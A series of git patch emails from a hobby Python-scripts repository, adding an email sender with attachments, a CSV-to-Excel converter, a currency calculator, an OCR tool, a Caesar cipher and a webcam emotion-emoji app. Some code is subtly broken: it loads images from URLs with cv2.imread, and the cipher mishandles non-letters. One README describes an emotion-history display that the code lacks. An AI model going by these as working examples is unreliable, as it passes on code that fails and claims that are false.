af1e7290220a6e39aaefb88d38c10b576e5c0504 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C2=96=C2=96Stonebanks-js?= Date: Thu, 10 Oct 2024 00:59:59 +0530 Subject: [PATCH 16/74] Explaination od Modifications --- CSV to Excel/README.md | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100644 CSV to Excel/README.md diff --git a/CSV to Excel/README.md b/CSV to Excel/README.md new file mode 100644 index 00000000..8774d1c9 --- /dev/null +++ b/CSV to Excel/README.md @@ -0,0 +1,23 @@ +# Explanation of Modifications + +**Support for Multiple CSV Files:** + +Modification: We now accept multiple CSV files, split by commas, in the csv_files list. + +Sheet Name: For each CSV file, a new sheet is created, named after the CSV file (without the extension). + +Loop: We loop over each CSV file in csv_files and process it individually. + +**Automatic CSV Header Detection and Formatting:** + +Modification: The first row of each CSV file is detected as the header. + +Formatting: The header row is formatted with bold text (Font(bold=True)) and a yellow background (PatternFill). + +Flag: A header_detected flag ensures that formatting is only applied to the first row + +**Handling Empty or Invalid Files:** + +Error handling remains in place for file not found and general exceptions. + +#Thank You \ No newline at end of file From 928efee938b621f1510c2f1a73ad8314af7f8d63 Mon Sep 17 00:00:00 2001 From: "A.S Chaudhary" Date: Thu, 10 Oct 2024 10:53:08 +0530 Subject: [PATCH 17/74] Enhancement: Added Support for Attachments and HTML Emails to Automate Email Script (#310) * Added a feature and READme.md guide * feat: Add CSV delimiter selection and cell styling to CSV to Excel script * Explaination od Modifications --- Automate Emails Daily/README.md | 151 ++++++++++++++++++++++++++++++++ Automate Emails Daily/main.py | 50 ++++++++--- CSV to Excel/README.md | 23 +++++ CSV to Excel/csv_excel.py | 81 +++++++++++------ 4 files changed, 267 insertions(+), 38 deletions(-) create mode 100644 Automate Emails Daily/README.md create mode 100644 CSV to Excel/README.md diff --git a/Automate Emails Daily/README.md b/Automate Emails Daily/README.md new file mode 100644 index 00000000..b4b02f72 --- /dev/null +++ b/Automate Emails Daily/README.md @@ -0,0 +1,151 @@ +# Guidebook: Email Automation Script with Advanced Features + +# Overview + +This Python script automates the process of sending emails to multiple recipients with enhanced features such as support for attachments and HTML-formatted emails. The script uses Python's built-in libraries (smtplib, ssl, and email) to send emails securely through Gmail's SMTP server. It also allows the user to customize the email's content, subject, recipients, and more via environment variables or in-script configuration. + +# Features Added + +1. Support for Attachments: You can now attach files to the email, making it more versatile for different use cases like sending reports, documents, or images. +2. HTML Email Support: You can send emails in HTML format, giving you more flexibility with rich text formatting, embedded links, and other styling options. + +# Prerequisites + +1. Python 3.x +2. A Gmail account (with less secure apps access enabled or an app-specific password if using 2FA) +3. Required libraries: smtplib, ssl, os, email (all built-in Python libraries) + +# Environment Setup +To ensure security, it's recommended to store sensitive information like email credentials in environment variables. For this guide, we will store the Gmail password as an environment variable: + +export EMAIL_PASSWORD='your_gmail_password' + +# Code Breakdown +1. Import Required Modules + +import smtplib +import ssl +import os +from email.message import EmailMessage +from email.utils import formataddr +------------------------------------------------------------------------------------- +smtplib: Used to create the connection to the Gmail SMTP server. +ssl: Provides a layer of security for the email communication. +os: Used to access environment variables (like the email password). +email.message: Allows crafting email messages, including text, HTML, and attachments. + +**send_email Function** + +This is the main function that sends the email. + +Function Parameters: +sender_email (str): The email address sending the email. +sender_name (str): The sender's name that will appear in the email. +password (str): The sender's email password, pulled from environment variables. +receiver_emails (list): A list of email addresses to send the email to. +email_body (str): The body of the email, which can be in plain text or HTML. +email_subject (str): The subject line of the email. Default is "No subject." + +**Example Function** + +send_email( + sender_email="youremail@gmail.com", + sender_name="Your Name", + password=os.environ.get("EMAIL_PASSWORD"), + receiver_emails=["recipient1@gmail.com", "recipient2@gmail.com"], + email_body="Hello, this is a test email!", + email_subject="Test Email" +) + +------------------------------------------------------------------------------------- + +**Setting Up Email Headers** +The email headers include the subject, sender, recipient, and format: + +msg["Subject"] = email_subject +msg["From"] = formataddr((f"{sender_name}", f"{sender_email}")) +msg["BCC"] = sender_email +msg.set_content(email_body) # This can also be an HTML body + +------------------------------------------------------------------------------------- + +**SMTP Server Connection** +Here we establish a connection to Gmail's SMTP server and use TLS (Transport Layer Security) to ensure a secure connection. + +smtp_port = 587 +smtp_server = "smtp.gmail.com" +ssl_context = ssl.create_default_context() + +------------------------------------------------------------------------------------- + +**Login and Sending the Email** +After logging in, the script loops through each recipient in the receiver_emails list and sends the email. + +my_server = smtplib.SMTP(smtp_server, smtp_port) +my_server.starttls(context=ssl_context) +my_server.login(sender_email, password) + +------------------------------------------------------------------------------------- + +**Adding Attachments** +If you want to send attachments, use the following modification: + +if attachments: + for file in attachments: + with open(file, "rb") as f: + file_data = f.read() + file_name = os.path.basename(file) + msg.add_attachment(file_data, maintype='application', subtype='octet-stream', filename=file_name) + +------------------------------------------------------------------------------------- + +**Sending HTML Emails** +To send HTML emails, modify the email body to contain HTML: + +msg.add_alternative("""\ + + +

Hello,
+ This is an HTML email!

+ + + """, subtype='html') + + ------------------------------------------------------------------------------------- + +**Error Handling** +The script includes basic error handling to notify you if the connection or email-sending process fails: + +except Exception as e: + print(f"ERROR: {e}") + +-------------------------------------------------------------------------------------- + +**Full Example with Attachment and HTML Support** + +send_email( + sender_email="youremail@gmail.com", + sender_name="Your Name", + password=os.environ.get("EMAIL_PASSWORD"), + receiver_emails=["recipient1@gmail.com", "recipient2@gmail.com"], + email_body="

This is a Test Email with HTML

", + email_subject="Test Email with HTML and Attachment", + attachments=["path/to/attachment1", "path/to/attachment2"] +) + + +-------------------------------------------------------------------------------------- + +# How to run the script + +Ensure the required environment variable (EMAIL_PASSWORD) is set. +Customize the sender email, receiver emails, email body, and subject in the script. +Run the script from the command line: + +python email_automation.py or main.py + +You can also schedule the script to run daily using cron jobs or Task Scheduler (Windows). + + +# Thank You for reading this tutorial. I hope you found it helpful. If you have any questions or need further + diff --git a/Automate Emails Daily/main.py b/Automate Emails Daily/main.py index 38698858..490e48ee 100644 --- a/Automate Emails Daily/main.py +++ b/Automate Emails Daily/main.py @@ -3,20 +3,46 @@ import os from email.message import EmailMessage from email.utils import formataddr +from mimetypes import guess_type def send_email(sender_email: str, sender_name: str, password:str, - receiver_emails: str , + receiver_emails: list, email_body: str, - email_subject: str="No subject",)-> None: + email_subject: str = "No subject", + is_html: bool = False, + attachments: list = None) -> None: msg = EmailMessage() msg["Subject"] = email_subject msg["From"] = formataddr((f"{sender_name}", f"{sender_email}")) - msg["BCC"] = sender_email - msg.set_content(email_body) + msg["BCC"] = sender_email # Can add CC or BCC here if needed + # Support both plain text and HTML emails + if is_html: + msg.add_alternative(email_body, subtype='html') + else: + msg.set_content(email_body) + + # Add attachments if provided + if attachments: + for file_path in attachments: + try: + with open(file_path, 'rb') as file: + file_data = file.read() + file_name = os.path.basename(file_path) + mime_type, _ = guess_type(file_path) + if mime_type: + mime_main, mime_subtype = mime_type.split('/') + else: + mime_main, mime_subtype = 'application', 'octet-stream' + + msg.add_attachment(file_data, maintype=mime_main, subtype=mime_subtype, filename=file_name) + print(f"Attached file: {file_name}") + except Exception as e: + print(f"Failed to attach {file_path}: {e}") + smtp_port = 587 smtp_server = "smtp.gmail.com" @@ -48,14 +74,18 @@ def send_email(sender_email: str, finally: my_server.quit() -# change these variables to suite your requirements +# Example usage sender_email = "your-email@gmail.com" sender_name = "your name" password = os.environ.get("EMAIL_PASSWORD") -email_subject = "good morning" -email_body = "good morning, hope you have a wonderful day" - -receiver_emails = ["receiver1-email@gmail.com", "receiver2-email@gmail.com", "receiver3-email@gmail.com"] +email_subject = "Good morning" +email_body = """ +

Good Morning!

+

Hope you have a wonderful day.

+""" +receiver_emails = ["receiver1-email@gmail.com", "receiver2-email@gmail.com"] +attachments = ["path/to/attachment1.pdf", "path/to/attachment2.jpg"] -send_email(sender_email, sender_name, password, receiver_emails, email_body,email_subject) \ No newline at end of file +# Sending the email as HTML with attachments +send_email(sender_email, sender_name, password, receiver_emails, email_body, email_subject, is_html=True, attachments=attachments) diff --git a/CSV to Excel/README.md b/CSV to Excel/README.md new file mode 100644 index 00000000..8774d1c9 --- /dev/null +++ b/CSV to Excel/README.md @@ -0,0 +1,23 @@ +# Explanation of Modifications + +**Support for Multiple CSV Files:** + +Modification: We now accept multiple CSV files, split by commas, in the csv_files list. + +Sheet Name: For each CSV file, a new sheet is created, named after the CSV file (without the extension). + +Loop: We loop over each CSV file in csv_files and process it individually. + +**Automatic CSV Header Detection and Formatting:** + +Modification: The first row of each CSV file is detected as the header. + +Formatting: The header row is formatted with bold text (Font(bold=True)) and a yellow background (PatternFill). + +Flag: A header_detected flag ensures that formatting is only applied to the first row + +**Handling Empty or Invalid Files:** + +Error handling remains in place for file not found and general exceptions. + +#Thank You \ No newline at end of file diff --git a/CSV to Excel/csv_excel.py b/CSV to Excel/csv_excel.py index 19fa8e11..4fca88ed 100644 --- a/CSV to Excel/csv_excel.py +++ b/CSV to Excel/csv_excel.py @@ -1,37 +1,62 @@ import openpyxl import os +from openpyxl.styles import Font, PatternFill # Get the CSV and Excel file names from the user -csv_name = input("Name of the input CSV file with extension: ") -sep = input("Separator of the CSV file: ") -excel_name = input("Name of the output excel file with extension: ") -sheet_name = input("Name of the output excel sheet: ") +csv_files = input("Enter the CSV files separated by commas (e.g., file1.csv, file2.csv): ").split(',') +sep = input("Separator of the CSV files (default is ','): ") or ',' # Default to comma separator if not provided +excel_name = input("Name of the output Excel file with extension: ") -# Load the CSV file +# Load or create Excel workbook if os.path.exists(excel_name): workbook = openpyxl.load_workbook(excel_name) - sheet = workbook[sheet_name] if sheet_name in workbook.sheetnames else workbook.create_sheet(sheet_name) else: workbook = openpyxl.Workbook() - sheet = workbook.active - sheet.title = sheet_name - -# Write the CSV data to the Excel sheet -try: - with open(csv_name, "r", encoding="utf-8") as file: - excel_row = 1 - for line in file: - data = line.strip().split(sep) - excel_column = 1 - for value in data: - sheet.cell(row=excel_row, column=excel_column, value=value) - excel_column += 1 - excel_row += 1 - - # Save the Excel file - workbook.save(excel_name) - -except FileNotFoundError: - print("Error: The CSV file was not found.") -except Exception as e: - print(f"An error occurred: {e}") \ No newline at end of file + +# Loop over multiple CSV files to write them into different sheets +for csv_name in csv_files: + csv_name = csv_name.strip() # Trim any whitespace + sheet_name = os.path.splitext(os.path.basename(csv_name))[0] # Sheet name based on the CSV filename + + # Create a new sheet for each CSV file + if sheet_name in workbook.sheetnames: + sheet = workbook[sheet_name] + else: + sheet = workbook.create_sheet(sheet_name) + + # Write CSV data to the Excel sheet + try: + with open(csv_name, "r", encoding="utf-8") as file: + excel_row = 1 + header_detected = False # Flag to check if header formatting should be applied + + for line in file: + data = line.strip().split(sep) + excel_column = 1 + + # Apply header formatting for the first row (headers) + if not header_detected: + for value in data: + cell = sheet.cell(row=excel_row, column=excel_column, value=value) + # Apply bold font and background color for the header row + cell.font = Font(bold=True) + cell.fill = PatternFill(start_color="FFFF00", end_color="FFFF00", fill_type="solid") + excel_column += 1 + header_detected = True # Mark the first row as header + else: + for value in data: + sheet.cell(row=excel_row, column=excel_column, value=value) + excel_column += 1 + + excel_row += 1 + + except FileNotFoundError: + print(f"Error: The CSV file '{csv_name}' was not found.") + except Exception as e: + print(f"An error occurred while processing {csv_name}: {e}") + +# Save the Excel file with all sheets +workbook.save(excel_name) + +print(f"All CSV files have been processed and saved to {excel_name}.") + From 2e95942a69fd4b437c5aa8fdea7c53605e9328d4 Mon Sep 17 00:00:00 2001 From: Brahmajit Mohapatra <57172489+BrahmajitMohapatra@users.noreply.github.com> Date: Thu, 10 Oct 2024 21:41:29 +0530 Subject: [PATCH 18/74] Update currency_calculator.py (#318) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Key Points: • Input Handling: The program takes the base currency and the currency to exchange into from the user. If the input is blank, the loop exits. • Cache: The program uses a cache to store exchange rates for USD and EUR. If the rate is already in the cache, it retrieves it; otherwise, it fetches the rate from the API. • Exchange Rate API: The rates are fetched from floatrates.com in JSON format. • Currency Conversion: The amount is exchanged based on the cached or newly fetched rate, and the result is displayed. --- Currency Script/currency_calculator.py | 26 ++++++++++++++++++++++---- 1 file changed, 22 insertions(+), 4 deletions(-) diff --git a/Currency Script/currency_calculator.py b/Currency Script/currency_calculator.py index 05f294fb..e0ae9585 100644 --- a/Currency Script/currency_calculator.py +++ b/Currency Script/currency_calculator.py @@ -1,37 +1,55 @@ +# Importing necessary modules for currency formatting and HTTP requests from locale import currency import requests import json -currency = input().lower() +# Get the base currency input from the user and convert it to lowercase +currency = input("Enter the base currency (e.g., USD, EUR): ").lower() + +# Initialize an empty cache to store exchange rates cache = {} +# Infinite loop to process exchange requests until the user exits while True: - currency_exch = input().lower() + # Get the target currency input from the user and convert it to lowercase + currency_exch = input("Enter the currency to exchange to (leave blank to exit): ").lower() + # If the input is blank, break out of the loop (exit condition) if currency_exch == '': break - amount_to_exch = int(input()) + # Get the amount to exchange from the user + amount_to_exch = int(input("Enter the amount to exchange: ")) + # URL for getting exchange rates from floatrates.com URL = f'http://www.floatrates.com/daily/{currency}.json' + # Fetch the exchange rates in JSON format exch = json.loads(requests.get(URL).text) + # Update cache for USD and EUR based on the base currency if currency == 'usd': + # If base currency is USD, cache EUR rate cache.update(eur=exch['eur']['rate']) elif currency == 'eur': + # If base currency is EUR, cache USD rate cache.update(usd=exch['usd']['rate']) else: + # For other base currencies, cache both USD and EUR rates cache.update(usd=exch['usd']['rate'], eur=exch['eur']['rate']) print("Checking the cache...") + + # Check if the target currency's rate is in the cache if currency_exch in cache: + # If the rate is in the cache, calculate the exchanged amount rate = round(amount_to_exch * cache[currency_exch], 2) print("Oh! It is in the cache!") print(f"You received {rate} {currency_exch.upper()}.") else: - #print("Sorry, but it is not in the cache!") + # If the rate is not in the cache, fetch it from the exchange rates and store it in cache + print("Sorry, but it is not in the cache!") cache[currency_exch] = exch[currency_exch]['rate'] rate = round(amount_to_exch * cache[currency_exch], 2) print(f"You received {rate} {currency_exch.upper()}.") From 101639908efc290c6b17520e3f26d297476c88d6 Mon Sep 17 00:00:00 2001 From: "A.S Chaudhary" Date: Thu, 10 Oct 2024 21:42:52 +0530 Subject: [PATCH 19/74] feat: Add CSV delimiter selection and cell styling to CSV to Excel script (#312) * Added a feature and READme.md guide * feat: Add CSV delimiter selection and cell styling to CSV to Excel script * Explaination od Modifications From 35f07713a4abedcf727d6db75b188e900b796476 Mon Sep 17 00:00:00 2001 From: Papireddy E <97383201+papireddy903@users.noreply.github.com> Date: Fri, 11 Oct 2024 12:15:35 +0530 Subject: [PATCH 20/74] Screenshot to Text (#320) --- Screenshot to Text/README.md | 30 +++++++++++++++ Screenshot to Text/main.py | 74 ++++++++++++++++++++++++++++++++++++ 2 files changed, 104 insertions(+) create mode 100644 Screenshot to Text/README.md create mode 100644 Screenshot to Text/main.py diff --git a/Screenshot to Text/README.md b/Screenshot to Text/README.md new file mode 100644 index 00000000..692b8f64 --- /dev/null +++ b/Screenshot to Text/README.md @@ -0,0 +1,30 @@ +# OCR Text Extractor + +## Overview +**OCR Text Extractor** is a Python application that allows users to extract text from images using Optical Character Recognition (OCR) via the Tesseract engine. The application provides a simple and user-friendly graphical interface for uploading images, capturing full-screen screenshots, or pasting images from the clipboard to extract text. + +## Features +- **Select Image File**: Choose an image from your computer to extract text from. Supported formats include `.png`, `.jpg`, `.jpeg`, and `.bmp`. +- **Paste Image from Clipboard**: Take a partial screenshot (e.g., using Windows + Shift + S) and extract text from the image saved in the clipboard. +- **Capture Full Screen Screenshot**: Capture a screenshot of your entire screen and extract text from it. + +## Requirements +To run this application, you need to have the following installed: + +- Python 3.x +- The following Python packages: + - `pytesseract` (Download Tesseract OCR from https://github.com/UB-Mannheim/tesseract/wiki and Add to Environment Path) + - `Pillow` (Python Imaging Library, a fork of PIL) + - `Tkinter` (comes pre-installed with Python on most systems) + +### Installation of Required Packages +You can install the required packages using pip: + +```bash +pip install pytesseract Pillow +``` + +### How to Run +```bash +python main.py +``` diff --git a/Screenshot to Text/main.py b/Screenshot to Text/main.py new file mode 100644 index 00000000..450e24b3 --- /dev/null +++ b/Screenshot to Text/main.py @@ -0,0 +1,74 @@ +import pytesseract +from PIL import Image, ImageGrab +import tkinter as tk +from tkinter import filedialog, messagebox, Text, Scrollbar + +def extract_text_from_image(img): #Extracts Text from Image using Pytesseract + try: + text = pytesseract.image_to_string(img) + return text + except Exception as e: + print(e) + return None + +def select_image_file(): # Upload a Image file + img_path = filedialog.askopenfilename(title="Select Screenshot", filetypes=[("Image Files", "*.png *.jpg *.jpeg *.bmp")]) + if img_path: + img = Image.open(img_path) + display_extracted_text(img) + +def paste_image_from_clipboard(): # Take partial screenshot (Windows + shift + S) it will be saved in clipboard. + try: + img = ImageGrab.grabclipboard() + if isinstance(img, Image.Image): + display_extracted_text(img) + else: + messagebox.showwarning("Error", "No image found in the clipboard.") + except Exception as e: + messagebox.showerror("Error", f"Error accessing clipboard: {e}") + +def capture_screenshot(): # Takes entire screen screenshot + try: + img = ImageGrab.grab() + display_extracted_text(img) + except Exception as e: + messagebox.showerror("Error", f"Error capturing screenshot: {e}") + +def display_extracted_text(img): # Displaying extracted text from pytesseract + text = extract_text_from_image(img) + if text: + text_display.delete(1.0, tk.END) + text_display.insert(tk.END, text) + else: + messagebox.showwarning("Error", "No text could be extracted or an error occurred.") + +def main(): + global text_display + + root = tk.Tk() + root.title("Text Extractor with Python") + + text_frame = tk.Frame(root) + text_frame.pack(pady=10) + + scrollbar = Scrollbar(text_frame) + scrollbar.pack(side=tk.RIGHT, fill=tk.Y) + + text_display = Text(text_frame, wrap=tk.WORD, yscrollcommand=scrollbar.set, height=15, width=60) + text_display.pack() + + scrollbar.config(command=text_display.yview) + + btn_select_file = tk.Button(root, text="Select Image File", command=select_image_file, width=30) + btn_select_file.pack(pady=10) + + btn_paste_clipboard = tk.Button(root, text="Paste Image from Clipboard", command=paste_image_from_clipboard, width=30) + btn_paste_clipboard.pack(pady=10) + + btn_capture_screenshot = tk.Button(root, text="Capture Full Screen Screenshot", command=capture_screenshot, width=30) + btn_capture_screenshot.pack(pady=10) + + root.mainloop() + +if __name__ == "__main__": + main() From 25f422bb1d8fff6e560ab46e496a5de235226e9e Mon Sep 17 00:00:00 2001 From: rusty-bytes7 <147008821+rusty-bytes7@users.noreply.github.com> Date: Fri, 11 Oct 2024 02:46:35 -0400 Subject: [PATCH 21/74] Create caesarcipher.py (#306) * Create caesarcipher.py This is a simple example of a Caesar Cipher for Hacktoberfest- this is my first-ever pull request! :) * Updated README to include program in list --- README.md | 3 ++- caesarcipher.py | 21 +++++++++++++++++++++ 2 files changed, 23 insertions(+), 1 deletion(-) create mode 100644 caesarcipher.py diff --git a/README.md b/README.md index 97710f02..e989ee40 100644 --- a/README.md +++ b/README.md @@ -41,7 +41,8 @@ More information on contributing and the general code of conduct for discussion | Autocomplete Notes App | [AutoCert](https://github.com/DhanushNehru/Python-Scripts/tree/master/Autocomplete%20Notes%20App) | A Python script to auto-generate e-certificates in bulk. | | Automated Emails | [Automated Emails](https://github.com/DhanushNehru/Python-Scripts/tree/master/Automate%20Emails%20Daily) | A Python script to send out personalized emails by reading a CSV file. | | Black Hat Python | [Black Hat Python](https://github.com/DhanushNehru/Python-Scripts/tree/master/Black%20Hat%20Python) | Source code from the book Black Hat Python | -| Blackjack | [Blackjack](https://github.com/DhanushNehru/Python-Scripts/tree/master/Blackjack) | A game of Blackjack - let's get a 21. | +| Blackjack | [Blackjack](https://github.com/DhanushNehru/Python-Scripts/tree/master/Blackjack) | A game of Blackjack - let's get a 21. +|Caesar Cipher | [Caesar Cipher](https://github.com/rusty-bytes7/Python-Scripts/blob/e94c8b52d313dc0d66b9ed0b55032c4470f72475/caesarcipher.py) | A Python script to encrypt messages using the Caesar cipher. | | Chessboard | [Chessboard](https://github.com/DhanushNehru/Python-Scripts/tree/master/Chess%20Board) | Creates a chessboard using matplotlib. | | Compound Interest Calculator | [Compound Interest Calculator](https://github.com/DhanushNehru/Python-Scripts/tree/master/Calculate%20Compound%20Interest) | A Python script to calculate compound interest. | | Countdown Timer | [Countdown Timer](https://github.com/DhanushNehru/Python-Scripts/tree/master/Countdown%20Timer) | Displays a message when the Input time elapses. | diff --git a/caesarcipher.py b/caesarcipher.py new file mode 100644 index 00000000..d4466f4f --- /dev/null +++ b/caesarcipher.py @@ -0,0 +1,21 @@ +#this program is a simple caesar cipher, which encrypts +#a message by shifting each letter three to the right in the alphabet +#this will ignore all characters that are not letters + +def caesar_encrypt(plaintext): + #each letter in plaintext + finalstring= "" + for letter in plaintext.lower(): + #get the number value of the letter + cipher = (ord(letter)+3) + #wraparound + #checks letter to see if it's out of range + if cipher > 122: + cipher -= 26 + finalstring += chr(cipher) + #skips any other characters + elif (ord(letter)) in range (97,123): + finalstring +=chr(cipher) + else: + continue + return(finalstring) \ No newline at end of file From 1cd54ecb2060c48ae36a8afe09866e17a1d9f161 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C2=96=C2=96Stonebanks-js?= Date: Fri, 11 Oct 2024 13:27:18 +0530 Subject: [PATCH 22/74] Add Custom Emoji Support and Emotion Detection History --- Face Reaction/app.py | 99 ++++++++++++++++++++++++++++---------------- 1 file changed, 63 insertions(+), 36 deletions(-) diff --git a/Face Reaction/app.py b/Face Reaction/app.py index 27357872..166252b1 100644 --- a/Face Reaction/app.py +++ b/Face Reaction/app.py @@ -1,43 +1,72 @@ import cv2 import numpy as np from fer import FER +import os +import json -scr = cv2.VideoCapture(0) #30fps +# Load custom emojis from a config file (custom_emojis.json) +def load_custom_emojis(config_file='custom_emojis.json'): + if os.path.exists(config_file): + with open(config_file, 'r') as file: + return json.load(file) + return {} + +# Save the emotion detection history +def save_emotion_history(history, filename='emotion_history.txt'): + with open(filename, 'a') as file: + for emotion in history: + file.write(f"{emotion}\n") + +# Initialize the webcam +scr = cv2.VideoCapture(0) # 30fps scr.set(3, 640) scr.set(4, 480) -#init FRE (Facial expression recognition from images) +# Initialize FER (Facial Expression Recognition) detector = FER(mtcnn=True) -while True: +# Load custom emojis +custom_emojis = load_custom_emojis() - ret,frame = scr.read() - # frame = cv2.flip(frame,1) +# Initialize emotion detection history +emotion_history = [] - #return emotion name and % of true detection +while True: + ret, frame = scr.read() + + # Return emotion name and % of true detection emotion, score = detector.top_emotion(frame) - print(emotion,score) - if emotion == 'angry': - emoj = cv2.imread('https://i.ibb.co/QN0gqNH/angry.png') - elif emotion == 'disgust': - emoj = cv2.imread('https://i.ibb.co/tJDxrhD/disgust.png') - elif emotion == 'fear': - emoj = cv2.imread('https://i.ibb.co/yBczSFB/fear.png') - elif emotion == 'happy': - emoj = cv2.imread('https://i.ibb.co/g6DW0Cf/happy.png') - elif emotion == 'sad': - emoj = cv2.imread('https://i.ibb.co/NyF0sDq/sad.png') - elif emotion == 'surprise': - emoj = cv2.imread('https://i.ibb.co/D4rDyfM/surprise.png') - elif emotion == 'neutral': - emoj = cv2.imread('https://i.ibb.co/KX7VSjh/neutral.png') - else: - emoj = cv2.imread('https://i.ibb.co/LdnS9nL/none.png') + # Append detected emotion to the history + emotion_history.append(emotion) + # Optionally save the history to a file (uncomment to enable) + # save_emotion_history(emotion_history) + print(emotion, score) - #Adding Image on Screen - + # Use custom emoji if available, otherwise fall back to default + if emotion in custom_emojis: + emoj = cv2.imread(custom_emojis[emotion]) + else: + # Default emojis if no custom emojis are set + if emotion == 'angry': + emoj = cv2.imread('https://i.ibb.co/QN0gqNH/angry.png') + elif emotion == 'disgust': + emoj = cv2.imread('https://i.ibb.co/tJDxrhD/disgust.png') + elif emotion == 'fear': + emoj = cv2.imread('https://i.ibb.co/yBczSFB/fear.png') + elif emotion == 'happy': + emoj = cv2.imread('https://i.ibb.co/g6DW0Cf/happy.png') + elif emotion == 'sad': + emoj = cv2.imread('https://i.ibb.co/NyF0sDq/sad.png') + elif emotion == 'surprise': + emoj = cv2.imread('https://i.ibb.co/D4rDyfM/surprise.png') + elif emotion == 'neutral': + emoj = cv2.imread('https://i.ibb.co/KX7VSjh/neutral.png') + else: + emoj = cv2.imread('https://i.ibb.co/LdnS9nL/none.png') + + # Adding Image on Screen # Read emoj and resize size = 150 emoj = cv2.resize(emoj, (size, size)) @@ -47,27 +76,25 @@ ret, mask = cv2.threshold(img2gray, 1, 255, cv2.THRESH_BINARY) roi = frame[-size-20:-20, -size-20:-20] - # roi = frame[-size-310:-310, -size-470:-470] # Set an index of where the mask is roi[np.where(mask)] = 0 roi += emoj - - #add text + # Add text font = cv2.FONT_HERSHEY_SIMPLEX org = (40, 210) fontScale = 1 color = (255, 0, 0) thickness = 2 - cv2.putText(frame,emotion, org, font, fontScale, color, thickness, cv2.LINE_AA) - - #show screen - cv2.imshow('frame',frame) - - #stop + cv2.putText(frame, emotion, org, font, fontScale, color, thickness, cv2.LINE_AA) + + # Show screen + cv2.imshow('frame', frame) + + # Stop if cv2.waitKey(1) & 0xff == ord('q'): break +# Release resources scr.release() - -cv2.destroyAllWindows() \ No newline at end of file +cv2.destroyAllWindows() From bc1320ccce2726f7192f96f24a2fc3421f3fcb5e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C2=96=C2=96Stonebanks-js?= Date: Fri, 11 Oct 2024 13:41:53 +0530 Subject: [PATCH 23/74] Added a Documentation --- Face Reaction/README.md | 79 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 Face Reaction/README.md diff --git a/Face Reaction/README.md b/Face Reaction/README.md new file mode 100644 index 00000000..36b74c4e --- /dev/null +++ b/Face Reaction/README.md @@ -0,0 +1,79 @@ + +# Face Reaction with Custom Emojis and Emotion History + +This project uses OpenCV and FER (Facial Expression Recognition) to capture live video from the webcam, detect facial expressions in real time, and display corresponding emoji images for each detected emotion. Additionally, this enhanced version features custom emoji support and emotion detection history tracking, which provides a list of recently detected emotions. + + + + +## Acknowledgements + + We would like to express our sincere gratitude to the following: + +OpenCV for providing powerful tools for computer vision, enabling us to process real-time video feeds with ease. + +FER (Facial Expression Recognition) for simplifying the process of emotion detection with advanced facial expression recognition algorithms. + +The open-source community for providing constant support, knowledge, and resources that have helped improve and evolve this project. + +Contributors to this repository for their efforts in enhancing the functionality and maintaining the quality of the code. + +Special thanks to all the libraries, frameworks, and developers whose work has made this project possible! + + +## Features Added to Project + +Real-Time Emotion Detection: + +The system detects emotions such as angry, happy, sad, surprise, and more in real time using the FER library. +Custom Emojis: + +Users can provide their own custom emoji images to represent emotions. +Emotion Detection History: + +The program keeps track of the last 10 detected emotions and displays them on the screen, allowing users to see the emotion flow during the session. +Smooth Emoji Overlay: + +The corresponding emoji for the detected emotion is displayed on the video feed in a designated corner of the screen. +## Prerequisites + +Ensure that you have the following installed before running the script: + +Python 3.x +OpenCV +Numpy +FER (Facial Expression Recognition) + +You can install the required libraries by running: +pip install opencv-python numpy fer + + +## How to Run + +Clone the Repository : + +git clone https://github.com/your-repo/face-reaction.git + +Run the Python script: + +python face_reaction.py + + +## Custom Emoji Support + +To add your custom emoji, replace the URLs or paths in the script with the path to your custom emoji image files. The supported emotions include angry, happy, sad, disgust, fear, surprise, and neutral. + + +## Code Explanation + +Emotion Detection: The FER library is used to detect the dominant emotion in the video frame, with the highest probability score. + +Custom Emoji Overlay: Based on the detected emotion, the corresponding emoji image is resized and overlaid on the video feed. + +Emotion History: The recent emotions are displayed at the top-left corner of the video frame, showing the last 10 detected emotions during the session. + + +## Future Improvements + +Support for additional facial expressions. +Integration with cloud services for storing emotion history. \ No newline at end of file From 4fe6365ef5b9212291350a1ea578e7995864d1a0 Mon Sep 17 00:00:00 2001 From: Dhanush Date: Fri, 11 Oct 2024 18:37:33 +0530 Subject: [PATCH 24/74] Revert "Create caesarcipher.py (#306)" This reverts commit 25f422bb1d8fff6e560ab46e496a5de235226e9e. --- README.md | 3 +-- caesarcipher.py | 21 --------------------- 2 files changed, 1 insertion(+), 23 deletions(-) delete mode 100644 caesarcipher.py diff --git a/README.md b/README.md index e989ee40..97710f02 100644 --- a/README.md +++ b/README.md @@ -41,8 +41,7 @@ More information on contributing and the general code of conduct for discussion | Autocomplete Notes App | [AutoCert](https://github.com/DhanushNehru/Python-Scripts/tree/master/Autocomplete%20Notes%20App) | A Python script to auto-generate e-certificates in bulk. | | Automated Emails | [Automated Emails](https://github.com/DhanushNehru/Python-Scripts/tree/master/Automate%20Emails%20Daily) | A Python script to send out personalized emails by reading a CSV file. | | Black Hat Python | [Black Hat Python](https://github.com/DhanushNehru/Python-Scripts/tree/master/Black%20Hat%20Python) | Source code from the book Black Hat Python | -| Blackjack | [Blackjack](https://github.com/DhanushNehru/Python-Scripts/tree/master/Blackjack) | A game of Blackjack - let's get a 21. -|Caesar Cipher | [Caesar Cipher](https://github.com/rusty-bytes7/Python-Scripts/blob/e94c8b52d313dc0d66b9ed0b55032c4470f72475/caesarcipher.py) | A Python script to encrypt messages using the Caesar cipher. | +| Blackjack | [Blackjack](https://github.com/DhanushNehru/Python-Scripts/tree/master/Blackjack) | A game of Blackjack - let's get a 21. | | Chessboard | [Chessboard](https://github.com/DhanushNehru/Python-Scripts/tree/master/Chess%20Board) | Creates a chessboard using matplotlib. | | Compound Interest Calculator | [Compound Interest Calculator](https://github.com/DhanushNehru/Python-Scripts/tree/master/Calculate%20Compound%20Interest) | A Python script to calculate compound interest. | | Countdown Timer | [Countdown Timer](https://github.com/DhanushNehru/Python-Scripts/tree/master/Countdown%20Timer) | Displays a message when the Input time elapses. | diff --git a/caesarcipher.py b/caesarcipher.py deleted file mode 100644 index d4466f4f..00000000 --- a/caesarcipher.py +++ /dev/null @@ -1,21 +0,0 @@ -#this program is a simple caesar cipher, which encrypts -#a message by shifting each letter three to the right in the alphabet -#this 